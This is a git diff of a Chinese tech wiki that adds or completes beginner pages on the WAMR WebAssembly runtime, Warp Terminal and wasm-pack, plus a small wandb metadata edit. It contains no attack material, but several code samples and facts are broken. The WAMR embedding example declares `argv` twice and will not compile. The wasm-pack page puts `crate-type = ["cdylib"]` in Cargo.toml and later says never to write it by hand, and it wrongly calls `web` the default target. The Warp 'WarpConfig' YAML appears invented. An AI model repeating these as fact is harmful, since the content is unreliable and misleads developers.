+1. **内存预算**：很多 MCU 整片 RAM 不到 128KB，WAMR 支持 `libc-builtin`（`-nostdlib`）模式，配合导出 `__heap_base`/`__data_end` 可把线性内存压到几 KB 级。
+2. **启动延迟**：解释器即载即用；AOT 预编译后接近原生速度，适合周期性唤醒的传感器节点。
+3. **安全边界**：Wasm 线性内存沙箱 + 可选硬件 trap 做边界检查；SGX/TDX 集成让敏感计算进 enclave。
+4. **生态对齐**：支持 WASI、wasm-c-api、与 Zephyr/ESP-IDF 等 RTOS 的官方移植，降低「写一次逻辑、多板子复用」成本。
+
+对照邻居：[[wasmtime]] 偏云原生与规范完整性；[[wasmer]] 偏多语言嵌入 API；WAMR 偏 **ROM/RAM 极度受限** 的设备。
+
+## 核心概念
+
+### 1. 执行模式怎么选
+
+```
+Wasm 字节码 (.wasm)
+        │
+        ├─► Fast Interpreter ──► 启动最快，体积适中，性能基准
+        ├─► Classic Interpreter ──► 更老实现，某些平台仍需要
+        ├─► AOT (.aot) ──► wamrc 离线编译，接近原生，适合量产固件
+        ├─► LLVM JIT ──► 开发期灵活，启动慢于 AOT
+        ├─► Fast JIT ──► 轻量 JIT，约为 AOT 50% 性能， footprint 小
+        └─► Multi-tier JIT ──► Fast JIT 先跑，后台升到 LLVM JIT
+```
+
+**零基础建议**：先用 `iwasm foo.wasm` 跑通解释器；性能不够再 `wamrc -o foo.aot foo.wasm`；MCU 量产几乎总是 AOT + 解释器 fallback。
+
+### 2. libc-builtin vs libc-wasi
+
+| 模式 | 编译 Wasm 时 | 运行时 CMake | 典型场景 |
+|------|-------------|--------------|----------|
+| **libc-builtin** | `clang -nostdlib` | `WAMR_BUILD_LIBC_BUILTIN=1` | 无文件 I/O、极致瘦身 |
+| **libc-wasi** | 默认 wasi-sdk 链接 | `WAMR_BUILD_LIBC_WASI=1` | 需要 `printf`/文件/套接字（WASI） |
+
+`-nostdlib` 不把 libc 打进 `.wasm`，体积可小一个数量级；代价是只能调用 WAMR 内置的极简 C 库。
+
+### 3. 嵌入模型：Engine → Store → Module → Instance
+
+WAMR 同时提供两套 C API（**不要混用**）：
+
+- **`wasm_export.h`**：WAMR 原生 API（`wasm_runtime_*`），嵌入式最常用
+- **`wasm_c_api.h`**：引擎无关的标准 Wasm C API
+
+原生 API 典型生命周期：
+
+```
+wasm_runtime_init()
+  → wasm_runtime_load()      // 读入 .wasm 或 .aot
+  → wasm_runtime_instantiate() // 分配栈、堆
+  → wasm_runtime_create_exec_env()
+  → wasm_runtime_call_wasm() // 调导出函数
+  → wasm_runtime_destroy_exec_env()
+  → wasm_runtime_deinstantiate()
+  → wasm_runtime_unload()
+  → wasm_runtime_destroy()
+```
+
+### 4. 宿主与 Wasm 互调（Native API）
+
+设备驱动、传感器 HAL 在 **native（宿主）** 侧；业务逻辑在 **Wasm** 侧。Wasm 通过 `import` 调用宿主注册的 native 函数；宿主通过 `wasm_runtime_call_wasm` 回调 Wasm 导出函数。
+
+签名字符串里的 `$`、`*`、`~` 等符号让运行时自动做**指针地址转换**和**缓冲区边界检查**——这是嵌入式里最容易踩坑的地方，务必读 `doc/export_native_api.md`。
+
+### 5. App Framework（可选）
+
+若要做「设备上跑多个 Wasm 小程序」、定时器、发布/订阅、传感器 API，启用 **wamr-app-framework**：事件驱动、每个 App 独立沙箱与线程。适合智能家电、工业网关，但比裸 VMcore 重不少。
+
+## 性能与体积参考
+
+| 组件（Cortex-M4F 量级） | 文本段约 | 说明 |
+|------------------------|---------|------|
+| Fast interpreter | ~59 KB | 默认推荐 |
+| Classic interpreter | ~56 KB | `-DWAMR_BUILD_FAST_INTERP=0` |
+| AOT runtime | ~29 KB | 只加载预编译模块 |
+| libc-wasi | ~21 KB | 需要 WASI 时 |
+| libc-builtin | ~3.7 KB | `-nostdlib` 搭配 |
+
+运行时默认 **Wasm 操作数栈** 与 **App heap** 各 16KB，可用 `iwasm --stack-size=` / `--heap-size=` 或 `wasm_runtime_instantiate` 参数调小。
+
+## 代码示例
+
+### 示例 1：用 wasi-sdk 编译并在 iwasm 里运行
+
+```c
+/* hello.c — 最小 WASI 程序 */
+#include <stdio.h>
+#include <stdlib.h>
+
+int main(int argc, char **argv)
+{
+    char *buf = malloc(1024);
+    if (!buf) return -1;
+    printf("Hello from WAMR!\n");
+    sprintf(buf, "%s", "1234\n");
+    printf("buf: %s", buf);
+    free(buf);
+    return 0;
+}
+```
+
+```bash
+# 安装 wasi-sdk 到 /opt/wasi-sdk 后
+/opt/wasi-sdk/bin/clang -O3 -o hello.wasm hello.c
+
+# 构建 iwasm（Linux 示例）
+cd product-mini/platforms/linux && mkdir -p build && cd build
+cmake .. && make
+
+./iwasm hello.wasm
+# Hello from WAMR!
+# buf: 1234
+```
+
+若要 **极致瘦身**（libc-builtin / nostdlib）：
+
+```bash
+/opt/wasi-sdk/bin/clang -O3 -nostdlib \
+  -z stack-size=8192 -Wl,--initial-memory=65536 \
+  -o tiny.wasm hello.c \
+  -Wl,--export=main -Wl,--export=__main_argc_argv \
+  -Wl,--export=__heap_base -Wl,--export=__data_end \
+  -Wl,--no-entry -Wl,--strip-all -Wl,--allow-undefined
+
+cmake .. -DWAMR_BUILD_LIBC_BUILTIN=1
+./iwasm --heap-size=4096 --stack-size=4096 tiny.wasm
+```
+
+### 示例 2：AOT 预编译与跨架构部署
+
+在开发机（x86_64）上为设备（如 ARMv7-M）预编译：
+
+```bash
+# 先构建 wamrc（见 wamr-compiler/README.md）
+wamrc --target=thumbv7m -o sensor.aot sensor.wasm
+
+# 设备侧 iwasm 加载 .aot，跳过解释执行路径
+./iwasm sensor.aot
+```
+
+`wamrc` 支持 `--opt-level`、`--size-level`、SGX（`-sgx`）、关闭 SIMD（`--disable-simd`）等。量产时 **wamrc 与设备上 VMcore 版本应一致**，否则可能因 `AOT_CURRENT_VERSION` 不兼容而拒绝加载。
+
+### 示例 3：宿主嵌入 — 加载模块并调用导出函数
+
+```c
+#include "wasm_export.h"
+
+int main(int argc, char *argv[])
+{
+    char *buffer = NULL;
+    uint32_t buffer_size = 0;
+    wasm_module_t module;
+    wasm_module_inst_t module_inst;
+    wasm_exec_env_t exec_env;
+    uint32_t argv[2];
+
+    if (!wasm_runtime_init())
+        return -1;
+
+    buffer_size = read_file_to_buffer(argv[1], &buffer);
+    module = wasm_runtime_load(buffer, buffer_size, NULL, 0);
+    module_inst = wasm_runtime_instantiate(module, 8 * 1024, 8 * 1024, NULL, 0);
+    exec_env = wasm_runtime_create_exec_env(module_inst, 8 * 1024);
+
+    argv[0] = 1;
+    argv[1] = 2;
+  if (!wasm_runtime_call_wasm(exec_env, module_inst, "add", 2, argv)) {
+        const char *exception = wasm_runtime_get_exception(module_inst);
+        printf("Exception: %s\n", exception);
+    } else {
+        printf("1 + 2 = %u\n", argv[0]);
+    }
+
+    wasm_runtime_destroy_exec_env(exec_env);
+    wasm_runtime_deinstantiate(module_inst);
+    wasm_runtime_unload(module);
+    wasm_runtime_destroy();
+    return 0;
+}
+```
+
+（完整错误处理、文件读取见 `samples/basic`；此处展示调用链。）
+
+### 示例 4：向 Wasm 导出 Native API（传感器读数）
+
+```c
+#include "wasm_export.h"
+
+static int32_t
+read_temp_wrapper(wasm_exec_env_t exec_env)
+{
+    /* 实际硬件 I2C 读温度 */
+    return 235; /* 23.5°C × 10 */
+}
+
+static NativeSymbol native_symbols[] = {
+    EXPORT_WASM_API_WITH_SIG(read_temp, "()i"),
+};
+
+bool register_sensor_native(void)
+{
+    return wasm_runtime_register_natives("env", native_symbols,
+                                         sizeof(native_symbols) / sizeof(NativeSymbol));
+}
+```
+
+Wasm 侧声明 `import "env" "read_temp" (func $read_temp (result i32))` 即可调用。若传递缓冲区，签名用 `(*~)i` 等形式触发自动边界检查。
+
+## 实践路径（零基础 30 分钟）
+
+1. **桌面验证**：克隆仓库 → 按 `product-mini/README.md` 构建 `iwasm` → 编译并运行 `hello.wasm`。
+2. **读一个 sample**：`samples/hello-world` 或 `samples/basic`，对照 CMake 看如何链 `libvmlib.a`。
+3. **试 AOT**：构建 `wamrc`，对比同模块 `.wasm` vs `.aot` 的执行耗时。
+4. **选 RTOS 移植**：目标板若是 ESP32，读 `product-mini/platforms/esp-idf`；若是 Zephyr，读 `platforms/zephyr/simple`。
+5. **需要多 App / 传感器 API** 再引入 wamr-app-framework，不要第一步就上大框架。
+
+## 踩过的坑
+
+1. **wamrc 与运行时版本不一致**：AOT 文件加载失败，查 `AOT_CURRENT_VERSION` 与 release note。
+2. **nostdlib 却未开 libc-builtin**：`iwasm` 报未解析符号；CMake 必须 `WAMR_BUILD_LIBC_BUILTIN=1`。
+3. **指针直接当 native 地址用**：Wasm 线性内存地址须由运行时转换，否则越界或读错数据。
+4. **默认 16KB 栈/堆对 MCU 太大**：实例化参数和 `iwasm` CLI 都要显式调小。
+5. **混用 wasm_c_api 与 wasm_export.h**：两套 API 生命周期不互通，选一个坚持用。
+6. **Windows MinGW 默认无 WASI**：需 `-DWAMR_DISABLE_HW_BOUND_CHECK=1`，且 AOT 要 `wamrc --bounds-checks=1`。
+7. **线程 native 函数不检查终止**：长时间阻塞的 native 应周期性 `wasm_cluster_is_thread_terminated` 或使用 `wasm_runtime_begin_blocking_op`。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- MCU / RTOS 上跑可 OTA 的业务逻辑插件
+- 边缘网关统一多语言算法（C/Rust/AssemblyScript → Wasm）
+- 需要 SGX/TDX 隔离的机密计算原型
+- 已有 Zephyr、ESP-IDF、RT-Thread 工程，想加脚本层
+
+**不适用**：
+
+- 桌面/服务器首选全功能运行时 → 看 [[wasmtime]]、[[wasmer]]
+- 需要完整浏览器 DOM / JS 互操作
+- 团队不愿接受 Wasm 工具链（wasi-sdk、目标三元组）学习成本
+- 极端实时硬中断路径（Wasm 调用延迟仍高于裸 C 中断服务程序）
+
+## 与邻居项目对照
+
+| 维度 | WAMR | Wasmtime | Wasmer |
+|------|------|----------|--------|
+| 语言 | C | Rust | Rust |
+| 体积 | 几十 KB 级 | MB 级 | MB 级 |
+| 主战场 | 嵌入式 / IoT | 云 / CLI | 多语言嵌入 |
+| AOT | wamrc（LLVM） | `.cwasm` | 自有方案 |
+| WASI | 支持（可裁剪） | 完整 | 支持 |
+
+## 学到什么
+
+- WebAssembly 不只是浏览器技术；**可裁剪运行时**让「沙箱字节码」进 MCU 成为现实。
+- 嵌入式 Wasm 的性能路径通常是 **开发用解释器 → 量产用 AOT**，而不是一上来 JIT。
+- **libc 策略**（builtin vs wasi）对 Flash 占用的影响往往大于算法本身。
+- 宿主互调的安全细节（签名、边界检查）和内核驱动一样值得严肃设计。
+
+## 延伸阅读
+
+- 官方站点：https://bytecodealliance.github.io/wamr.dev/
+- 文档书：https://wamr.gitbook.io/document/
+- 构建 Wasm 应用：`doc/build_wasm_app.md`
+- 导出 Native API：`doc/export_native_api.md`
+- App Framework：https://github.com/bytecodealliance/wamr-app-framework
+
+## 关联
+
+- [[wasmtime]] —— 服务器/桌面侧 Bytecode Alliance 旗舰运行时
+- [[wasmer]] —— 多语言嵌入的 Wasm 运行时
+- [[zephyr]] —— WAMR 官方支持的 RTOS 之一
+- [[quickjs]] —— 另一种嵌入式脚本方案（JS 而非 Wasm）
+- [[wazero]] —— Go 写的零依赖 Wasm 运行时，可对照 API 设计
+
+## 维护备注
+
+- 合并后运行 `npm run atlas` 刷新反向链接。
+- 版本与体积数据随 release 变化，以仓库 `README` 与 `doc/` 为准。
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/projects/wandb.md b/src/content/docs/projects/wandb.md
index 44e965d8e..0d309a904 100644
--- a/src/content/docs/projects/wandb.md
+++ b/src/content/docs/projects/wandb.md
@@ -2,7 +2,7 @@
 title: Weights & Biases — 几行 init 把指标系统代码自动入库
 来源: https://github.com/wandb/wandb
 日期: 2026-05-31
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: 入门
 provenance: pipeline-v3
@@ -159,6 +159,8 @@ GitHub README 里贴一个 `wandb.ai/...` 链接，点进去能看到：作者
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
 - [[clearml]] —— ClearML — 自托管 MLOps 套件
+- [[jupyter-notebook]] —— Jupyter Notebook — 经典数据科学笔记本
+- [[jupyterlab]] —— JupyterLab — 下一代 Jupyter IDE
 - [[label-studio]] —— Label Studio — 文本图像音视频时序通吃的标注王者
 - [[mlflow]] —— MLflow — 端到端 ML 生命周期
 - [[pytorch]] —— PyTorch — 深度学习主流框架
diff --git a/src/content/docs/projects/warp-terminal.md b/src/content/docs/projects/warp-terminal.md
new file mode 100644
index 000000000..a3e8277a8
--- /dev/null
+++ b/src/content/docs/projects/warp-terminal.md
@@ -0,0 +1,216 @@
+---
+title: Warp Terminal — 用 Rust 重写的现代终端，AI 时代的开发环境
+来源: 'https://github.com/warpdotdev/Warp'
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Warp 是一个 **用 Rust 从零重写的全新一代终端模拟器**，但它不只是"又一个更快的终端"。Warp 把终端从"显示字符的黑盒子"变成了 **有结构化数据的开发环境**。
+
+日常类比：传统终端像一块黑板——老师在上面写字，学生只能看到最终结果。Warp 像一块**智能白板**——它不仅显示文字，还知道每一段文字是谁写的、什么时候写的、属于哪个命令。这样它就能把每次命令的执行结果打包成一个"块（Block）"，你可以单独复制某个命令的输出、搜索历史命令、甚至让 AI 读取你的操作上下文来帮你解决问题。
+
+Warp 的官网描述自己是 **"an agentic development environment, born out of the terminal"**——它内置 AI Coding Agent，也可以接入 Claude Code、Codex、Gemini CLI 等外部 AI Agent。
+
+## 为什么重要
+
+不理解 Warp，下面这些事就没法解释：
+
+- 为什么终端可以"理解"命令的结构，而不只是显示字符流
+- 为什么 AI 能读懂你在终端里做了什么，并给出有针对性的建议
+- 为什么一个终端能做到像文本编辑器一样的输入体验（选中文本、多光标、快捷键）
+- 为什么 Warp 要自己写一套 GPU 渲染的 UI 框架，而不是用现成的 Electron
+
+## 核心概念
+
+### 1. Block（块）——终端里的结构化数据
+
+传统终端的数据模型是 **VT100 网格**：一行行字符铺满屏幕，命令和输出混在一起。Warp 引入了 **Block** 的概念——每次你按回车执行一个命令，Warp 就把这个命令及其输出打包成一个独立的 Block。
+
+这怎么做到的？Warp 利用 shell 的 `precmd`（命令执行前）和 `preexec`（命令即将执行）钩子，在命令运行前后向终端发送特殊的 DCS（Device Control String）转义序列，里面包含 JSON 格式的元数据。Warp 收到后就知道"一个新的 Block 开始了"。
+
+### 2. 输入编辑器（Input Editor）——像 VS Code 一样打字
+
+Warp 的输入区不是一个简单的命令行，而是一个**完整的文本编辑器**。它支持：
+
+- 鼠标选词、选句、选整行
+- 多光标编辑
+- 类似 VS Code 的键盘快捷键（Ctrl+F 搜索、Ctrl+D 选词等）
+- 命令历史的高级搜索菜单（替代传统的 Ctrl+R）
+
+### 3. GPU 加速渲染——60fps 以上
+
+Warp 用 Rust 编写，渲染直接走 Metal（macOS GPU API），不经过 Electron 那样的浏览器层。即使在你用 4K 显示器、每秒刷新率 144Hz 的情况下，Warp 也能保持流畅——平均重绘时间只有 **1.9 毫秒**。
+
+### 4. AI 原生——Coding Agent
+
+Warp 内置了 AI Coding Agent，可以直接在终端里：
+
+- 帮你解释上一条命令的输出
+- 根据上下文生成下一条命令
+- 修复报错
+- 接入外部 Agent（Claude Code、Codex 等）
+
+## 代码示例
+
+### 示例 1：安装和基本使用
+
+```bash
+# macOS — 用 Homebrew 安装
+brew install --cask warp
+
+# 或者下载 DMG 安装包
+# 访问 https://www.warp.dev/download
+
+# 安装后直接打开
+open -a Warp
+
+# 首次启动会让你选择默认 shell（bash / zsh / fish）
+# Warp 本身不是 shell，它是一个终端模拟器
+# 它底层仍然运行你系统里已有的 shell
+```
+
+打开 Warp 后，你会看到一个熟悉的终端界面。输入 `ls` 然后回车，你会看到输出被包裹在一个 Block 里——每条命令都是一个独立的卡片。
+
+### 示例 2：Warp 独有的 WarpConfig 配置
+
+Warp 用一种叫 **WarpConfig** 的配置语言来定制终端行为。它不是 shell 脚本，而是 Warp 自己的 DSL：
+
+```yaml
+# 在 Warp 的设置中配置 AI 行为
+ai:
+  enabled: true
+  model: "gpt"
+  # 让 AI 自动建议下一个命令
+  suggest_next_command: true
+  # 让 AI 解释命令输出
+  explain_output: true
+
+# 自定义提示词——告诉 AI 你的项目背景
+custom_prompts:
+  - name: "React 调试助手"
+    prompt: |
+      用户正在调试一个 React 应用。请重点关注：
+      1. JSX 语法错误
+      2. Hook 使用规则
+      3. 状态管理问题
+```
+
+这些配置决定了 AI Agent 如何理解你的上下文并给出建议。
+
+### 示例 3：Blocks 的实际操作
+
+```bash
+# 在 Warp 里，每个命令都是独立的 Block
+# 你可以用鼠标选中某个 Block 的内容单独复制
+# 也可以用搜索功能跨 Block 查找历史命令
+
+# 示例：搜索包含 "error" 的历史命令
+# 按 Cmd+Shift+F 打开搜索，输入 "error"
+# Warp 会列出所有包含 error 的命令及其输出
+
+# 示例：让 AI 解释上一个命令的输出
+# 在任意 Block 旁边点击 "Explain" 按钮
+# 或者用快捷键触发 AI 解释
+
+# 示例：AI 补全命令
+# 输入 "git " 然后按 Tab
+# Warp 会根据你的 git 历史推荐常用子命令
+# 比如 git log --oneline --graph --all
+```
+
+Warp 的 Blocks 模型让你能做的事情远超传统终端：
+
+| 能力 | 传统终端 | Warp |
+|------|----------|------|
+| 复制单个命令的输出 | 手动选区 | 一键复制整个 Block |
+| 搜索历史 | Ctrl+R 模糊匹配 | 全文搜索命令和输出 |
+| AI 理解上下文 | 无 | 读取当前 Block 内容 |
+| 团队协作 | 无 | 实时共享终端会话 |
+
+## 踩过的坑
+
+1. **Warp 不是 shell，是终端模拟器**：很多人以为装了 Warp 就换了一个 shell。实际上 Warp 只是"容器"，它底层运行的仍然是你系统里的 bash / zsh / fish。WarpConfig 的配置和 shell 的 `.zshrc` 是两套独立的系统。
+
+2. **SSH 连接时 Blocks 可能失效**：Blocks 依赖 shell 的 precmd/preexec 钩子。如果你通过 SSH 连接到远程机器，远程 shell 不一定支持这些钩子，导致 Blocks 无法正确创建。
+
+3. **GPU 渲染在旧 Mac 上不友好**：Warp 用 Metal 渲染，最低要求 macOS 10.14（Mojave）。如果你还在用更老的系统，Warp 不会支持。
+
+4. **AI 功能需要联网**：内置 AI Agent 依赖云端模型（目前基于 OpenAI 的 GPT 系列），离线环境下 AI 功能不可用。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 日常开发，尤其是经常需要查看命令输出、调试的场景
+- 想用 AI 辅助终端操作的新手或进阶用户
+- 追求终端性能和美观的团队
+- 需要团队协作调试（实时共享终端会话）
+
+**不适用**：
+
+- 纯服务器端无 GUI 环境（Warp 目前没有纯 CLI 版本）
+- 需要重度自定义 shell 行为的用户（Warp 配置有限）
+- 对 AI 隐私有严格要求的环境（AI 请求走云端）
+
+## 技术内幕
+
+Warp 的技术架构有几个值得注意的点：
+
+- **语言**：98.3% 的 Rust 代码，其余是 Shell / Python / Objective-C
+- **渲染**：自研 GPU UI 框架，用 Metal 渲染矩形、图像、文字三种基元，通过组合实现复杂 UI
+- **数据结构**：每个 Block 拥有独立的 VT100 网格，避免不同命令的输出互相覆盖
+- **输入编辑**：基于 SumTree（一种带多维索引的 Rope 数据结构），支持高效文本操作和 CRDT 实时协作
+- **开源**：UI 框架部分用 MIT 许可证，其余代码用 AGPL v3
+
+## 历史小故事（可跳过）
+
+- **2019 年**：Warp 作为"现代终端"概念产品上线，主打输入编辑器和 Blocks
+- **2021 年**：发布"How Warp Works"技术博客，公开 GPU 渲染和 Blocks 的实现细节
+- **2023 年**：收购 Fig（终端补全工具），将 Fig 的补全能力整合进 Warp
+- **2024 年**：开源客户端代码，加入 AI Coding Agent 功能，成为"Agentic Terminal"
+- **2025-2026 年**：推出 Oz Agent Platform，支持编排多个 AI Agent（Claude Code、Codex 等），GitHub 星标突破 61k
+
+## 学到什么
+
+1. **终端不是过时技术**——即使 AI 时代，终端依然是开发者最高频的工具之一。Warp 的成功证明"旧瓶装新酒"仍然有价值。
+
+2. **结构化数据比字符流强大得多**——把终端输出从"一坨文字"变成"有结构的 Block"，解锁了搜索、复制、AI 理解等一系列新功能。
+
+3. **GPU 渲染对终端很重要**——60fps 以上的流畅度不是炫技，而是大分辨率、高刷新率显示器下的刚需。
+
+4. **AI 原生 ≠ AI 附加**——Warp 不是"在终端里加一个聊天框"，而是从数据模型（Blocks）到交互（输入编辑器）都为 AI 做了设计。
+
+## 延伸阅读
+
+- 官方文档：[docs.warp.dev](https://docs.warp.dev/)
+- 技术博客：[warp.dev/blog/how-warp-works](https://www.warp.dev/blog/how-warp-works)
+- 开源仓库：[github.com/warpdotdev/Warp](https://github.com/warpdotdev/Warp)（61k+ stars）
+- FAQ：[github.com/warpdotdev/Warp/blob/master/FAQ.md](https://github.com/warpdotdev/Warp/blob/master/FAQ.md)
+- [[kitty]] —— 另一个 GPU 加速终端，侧重性能极致
+- [[wezterm]] —— 用 Lua 配置的跨平台终端
+- [[zellij]] —— 终端多路复用器，用 Rust 编写
+- [[nushell]] —— 结构化 shell，让命令之间传表格数据
+
+## 关联
+
+- [[kitty]] —— GPU 加速终端，把分屏和图片协议焊在一个二进制里
+- [[wezterm]] —— 跨平台终端，用 Lua 配置，支持 GPU 渲染
+- [[zellij]] —— Rust 编写的终端多路复用器，类似 tmux 的现代替代品
+- [[nushell]] —— 让命令之间传 Excel 表而不是传纸条
+- [[zsh]] —— 比 bash 更聪明的兼容派 shell，Warp 的默认 shell 之一
+- [[tmux]] —— 经典终端多路复用器，Warp 尚未内置等价功能
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[kitty]] —— kitty — GPU 加速终端，把分屏和图片协议焊在一个二进制里
+- [[wezterm]] —— wezterm — 用 Rust 和 Lua 写的跨平台 GPU 终端
+- [[nushell]] —— nushell — 让命令之间传 Excel 表而不是传纸条
+- [[zsh]] —— zsh — 比 bash 更聪明的兼容派 shell
+- [[tmux]] —— tmux — 终端复用神器，窗口/面板/会话管理
+- [[fish]] —— fish — 装好就比 bash 加插件好用的交互 shell
diff --git a/src/content/docs/projects/wasm-pack.md b/src/content/docs/projects/wasm-pack.md
new file mode 100644
index 000000000..2cd35cb51
--- /dev/null
+++ b/src/content/docs/projects/wasm-pack.md
@@ -0,0 +1,265 @@
+---
+title: wasm-pack — 把 Rust 编译成浏览器能跑的代码
+来源: https://github.com/rustwasm/wasm-pack
+日期: 2026-06-13
+分类: 编译器
+子分类: wasm-toolchain
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**wasm-pack** 是 Rust 生态里专门用来把 Rust 代码打包成 WebAssembly（Wasm）并分发给 JavaScript 项目的工具。它由 Rust WASM 团队维护，GitHub 上有 7.2k star，目前是 Rust → Wasm 领域的事实标准打包工具。
+
+日常类比：
+
+- 你写了一段 Rust 代码，就像用中文写了一封情书
+- WebAssembly 就像**把信翻译成世界语**——浏览器和 Node.js 都能读懂
+- 但光翻译不够，你还需要**装信封、贴邮票、写收件人地址、打包寄出**——wasm-pack 做的就是这件事：它自动处理翻译后的 Wasm 文件、生成 JavaScript 胶水代码、打包成 npm 包，一步到位寄到别人的项目里
+
+## 为什么重要
+
+没有 wasm-pack，Rust 代码想跑到浏览器里，你需要手动做一堆事：
+
+1. 用 `rustup` 装 wasm32-unknown-unknown 目标
+2. 用 `wasm-bindgen` 手动生成 JS 胶水文件
+3. 手动处理 .wasm 和 .js 的文件路径
+4. 自己写 webpack/vite 配置来加载 .wasm
+5. 手动处理 npm package.json 里的文件引用
+
+这就像**每寄一封信都要自己熔铸邮票、手写信封、跑到邮局排队**——不是不能做，但太折磨了。wasm-pack 把这些流程全部自动化，一条命令完成。
+
+它的核心价值场景：
+
+- **性能敏感的计算放浏览器端跑**——比如图像滤镜、视频编解码、密码学运算，用 Rust 写完编译成 Wasm 给前端用，比纯 JS 快 10-100 倍
+- **复用 Rust 库**——你已经在 Rust 生态写了大量算法库，不想在 JS 重写一遍，用 wasm-pack 直接"装盒"给 JS 项目用
+- **Web 组件 / 微前端**——把核心逻辑编译成 Wasm 模块，多个前端框架都能调用
+
+## 核心概念
+
+### 概念 1：wasm-bindgen —— Rust 和 JS 的翻译官
+
+Rust 和 JavaScript 是两种完全不同的语言，类型系统、内存模型、执行方式都不一样。wasm-pack 的底层依赖 **wasm-bindgen** 负责在两者之间搭桥：
+
+- 你在 Rust 代码里用 `#[wasm_bindgen]` 标记哪些函数/结构体要暴露给 JS
+- wasm-bindgen 自动生成对应的 JavaScript 胶水代码（比如 `export function hello_world()`），让 JS 能直接调用 Rust 函数
+
+### 概念 2：target 模式 —— 你的代码要去哪里
+
+wasm-pack 最核心的命令是 `build`，它有一个关键参数 `--target`，决定打包产物长什么样：
+
+| `--target` 值 | 适合场景 | 产出物 |
+|---|---|---|
+| `web`（默认） | 直接用 `<script>` 标签引入，不经过 npm | `.js` + `.wasm` 文件对 |
+| `bundler` | 配合 webpack / vite / rollup 等打包器 | `.js` + `.wasm` + `package.json` |
+| `nodejs` | 在 Node.js 环境中运行 | `.js` + `.wasm`，CommonJS 格式 |
+| `nodejs-when` | Node.js 22+ 的 import() 加载 | 同上，但用 ESM 格式 |
+| `deno` | Deno 运行时 | `.js` + `.wasm`，适配 Deno 加载方式 |
+
+### 概念 3：crate-type —— Rust 的 "输出格式开关"
+
+wasm-pack 不需要你手动配置 Cargo.toml，它**自动把 crate-type 设置为 `cdylib`**（C 动态链接库格式），这是编译成 Wasm 必须的。你只管写 Rust 代码，wasm-pack 帮你切输出格式。
+
+## 实践案例
+
+### 案例 1：从零构建一个 npm 可发布的 Wasm 包
+
+第一步，创建一个 Rust 库项目（用 cargo 新建）：
+
+```bash
+cargo new --lib hello-wasm
+cd hello-wasm
+```
+
+在 `Cargo.toml` 里加上 wasm-bindgen 依赖：
+
+```toml
+[package]
+name = "hello-wasm"
+version = "0.1.0"
+edition = "2021"
+
+[lib]
+crate-type = ["cdylib"]
+
+[dependencies]
+wasm-bindgen = "0.2"
+```
+
+在 `src/lib.rs` 里写一个暴露给 JS 的 Rust 函数：
+
+```rust
+use wasm_bindgen::prelude::*;
+
+#[wasm_bindgen]
+pub fn greet(name: &str) -> String {
+    format!("Hello, {}! 🦀", name)
+}
+
+#[wasm_bindgen]
+pub fn add(a: i32, b: i32) -> i32 {
+    a + b
+}
+```
+
+现在用 wasm-pack 打包。默认输出到 `pkg/` 目录，产物是 npm 包格式：
+
+```bash
+wasm-pack build
+```
+
+输出长这样：
+
+```
+[INFO]: Checking for the Wasm target...
+[INFO]: Compiling to Wasm...
+   Compiling hello-wasm v0.1.0
+[INFO]: Installing wasm-bindgen...
+[INFO]: :-) Done in 5.23s
+[INFO]: :-) Your wasm pkg is ready to publish at /Users/you/hello-wasm/pkg
+```
+
+`pkg/` 目录里已经躺好了：
+
+```
+pkg/
+├── hello_wasm.js          ← JS 胶水代码，调用 .wasm
+├── hello_wasm.d.ts        ← TypeScript 类型声明
+├── hello_wasm_bg.wasm     ← 编译好的 Wasm 二进制
+├── hello_wasm_bg.wasm.d.ts← Wasm 模块的类型声明
+└── package.json           ← 标准的 npm 包描述文件
+```
+
+在 JS 项目里直接用：
+
+```bash
+npm install ./hello-wasm/pkg   # 本地安装
+```
+
+```javascript
+import { greet, add } from 'hello-wasm';
+
+console.log(greet('World'));  // Hello, World! 🦀
+console.log(add(42, 58));     // 100
+```
+
+### 案例 2：用 `--target web` 打包成纯网页引用
+
+不经过 npm，直接给普通网页用（比如内嵌到 WordPress、博客或静态站）：
+
+```bash
+wasm-pack build --target web
+```
+
+产物在 `pkg/` 里，但 package.json 不见了，只剩 `.js` + `.wasm` 两个文件。在 HTML 里引入：
+
+```html
+<!DOCTYPE html>
+<html>
+<head><meta charset="utf-8"><title>Hello Wasm</title></head>
+<body>
+  <h1>来自 Rust 的问候</h1>
+  <script type="module">
+    import init, { greet, add } from './pkg/hello_wasm.js';
+
+    async function main() {
+      await init();
+      document.body.innerHTML += `<p>${greet('浏览器')}</p>`;
+      document.body.innerHTML += `<p>42 + 58 = ${add(42, 58)}</p>`;
+    }
+
+    main();
+  </script>
+</body>
+</html>
+```
+
+注意 `await init()` —— Wasm 模块加载后需要调用 `init()` 完成初始化，然后才能用你暴露的函数。
+
+### 案例 3：发布到 npm 仓库
+
+打包好之后一键发布：
+
+```bash
+wasm-pack publish
+```
+
+这会自动执行两步：
+1. `wasm-pack pack` —— 把产物打包成 `.tgz` 压缩文件
+2. `npm publish` —— 推送到 npm registry
+
+你也可以指定私有仓库：
+
+```bash
+wasm-pack publish --registry https://npm.your-company.com
+```
+
+## 踩过的坑
+
+1. **Cargo.toml 里不要手动写 `crate-type = ["cdylib"]`**——wasm-pack 会自动帮你设置。手动写了反而可能和内部逻辑冲突，导致打包失败或产物不对。
+
+2. **`--target web` 和 `--target bundler` 别混用**——`web` 产物里 JS 用 `import.meta.url` 加载 `.wasm`，直接 `<script type="module">` 能用；`bundler` 产物里 `.wasm` 路径依赖打包器解析。两个产物不能互换。
+
+3. **大模块的 Wasm 文件会影响首屏加载**——编译出来的 `.wasm` 文件可能几 MB，如果直接发给浏览器，用户要等很久。解决方案：用 `wasm-pack` 的 `--dev` 模式做开发时不压缩；生产环境开 `--release` 压缩 + 配合 CDN 分发。
+
+4. **`wasm-pack test` 用的是 Headless Chrome**——它会自动起一个浏览器跑测试，需要系统里装了 Chrome/Chromium。如果没有，测试命令会失败。装一个就行：`brew install --cask google-chrome`。
+
